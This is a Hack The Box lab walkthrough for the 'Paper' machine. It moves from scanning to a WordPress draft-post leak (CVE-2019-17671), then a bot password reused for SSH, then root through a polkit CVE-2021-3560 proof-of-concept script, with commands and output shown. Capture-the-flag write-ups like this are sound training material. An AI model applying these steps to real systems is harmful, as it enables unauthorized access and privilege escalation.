Skip to content

Hack The Box | Paper

In this walkthrough, we will be going through the Paper box on Hack The Box.

Room Banner

Successfully Pwned Paper

Completed and pwned this challenge on Hack The Box.

Owned

Hack The Box

Pwned

Enumeration

Nmap Scan

We begin by running a Nmap scan to identify open ports and services on the target machine:

bash
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
|   2048 1005ea5056a600cb1c9c93df5f83e064 (RSA)
|_  256 588c821cc6632a83875c2f2b4f4dc379 (ECDSA)
80/tcp  open  http     Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
|_http-title: HTTP Server Test Page powered by CentOS
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
| http-methods:
|   Supported Methods: HEAD GET POST OPTIONS TRACE
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
443/tcp open  ssl/http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
|_http-title: HTTP Server Test Page powered by CentOS
| http-methods:
|   Supported Methods: HEAD GET POST OPTIONS TRACE
|_  Potentially risky methods: TRACE

The scan reveals three open ports:

  • Port 22: SSH (OpenSSH 8.0)
  • Port 80: HTTP (Apache httpd 2.4.37)
  • Port 443: HTTPS (Apache httpd 2.4.37)

Web Enumeration

Navigating to the target’s IP in a browser displays a default Apache test page.

Cap - Apache test page

Port 443 serves the same page. Checking the HTTP response headers using curl:

bash
$ curl -s -D - -o /dev/null http://10.10.11.143
HTTP/1.1 403 Forbidden
Date: Tue, 18 Mar 2025 06:38:44 GMT
Server: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
X-Backend-Server: office.paper
...

The X-Backend-Server header reveals the internal hostname: office.paper. We add this to /etc/hosts:

bash
echo "10.10.11.143 office.paper" | sudo tee -a /etc/hosts

Discovering WordPress

Visiting http://office.paper/ reveals a Blunder Tiffin Inc. blog.

Cap - Blunder Tiffin Inc. blog

Inspecting the comments, we find a user Nick mentioning a secret draft page.

Cap - Nick's comment

Using Wappalyzer, we identify the CMS as WordPress 5.2.3.

Cap - Wappalyzer WordPress

This version is vulnerable to CVE-2019-17671, allowing unauthenticated users to view private/draft posts.

Appending ?static=1 to the URL reveals a hidden draft post.

Cap - Draft post

It contains a secret registration link for an employee chat system:

plaintext
http://chat.office.paper/register/8qozr226AhkCHZdyY

We add chat.office.paper to /etc/hosts:

bash
echo "10.10.11.143 chat.office.paper" | sudo tee -a /etc/hosts

Navigating to the URL presents a Rocket.Chat registration form.

Cap - Chat registration form

Gaining Initial Access

After registering and logging in, we find messages in the general channel.

Cap - Chat messages

A bot named Recyclops is mentioned, capable of listing and reading files.

Cap - Recyclops bot

We find Recyclops' environment file in /home/dwight/hubot/.env:

bash
export ROCKETCHAT_USER=recyclops
export ROCKETCHAT_PASSWORD=Queenofblad3s!23

Using these credentials, we attempt SSH login as dwight:

bash
$ ssh dwight@10.10.11.143
[dwight@paper ~]$ id
uid=1004(dwight) gid=1004(dwight) groups=1004(dwight)

We retrieve the user flag:

bash
[dwight@paper ~]$ cat user.txt
[USER_FLAG]

Privilege Escalation

Enumeration

Running LinPEAS, we identify the polkit package:

bash
[dwight@paper ~]$ rpm -q polkit
polkit-0.115-6.el8.x86_64

This version is vulnerable to CVE-2021-3560, allowing privilege escalation.

Exploitation

We upload and execute an exploit script:

bash
[dwight@paper ~]$ ./poc.sh

[+] Polkit version appears to be vulnerable!!
[!] Starting exploit...
[+] Inserted Username secnigma  with UID 1005!
[!] It looks like the password insertion was succesful!

Switching to the new user and escalating privileges:

bash
[dwight@paper ~]$ su - secnigma
Password:
[secnigma@paper ~]$ sudo bash
[sudo] password for secnigma:
[root@paper secnigma]# id
uid=0(root) gid=0(root) groups=0(root)

We successfully escalate to root and retrieve the root flag:

bash
[root@paper secnigma]# cat /root/root.txt
[ROOT_FLAG]

Cap - pwned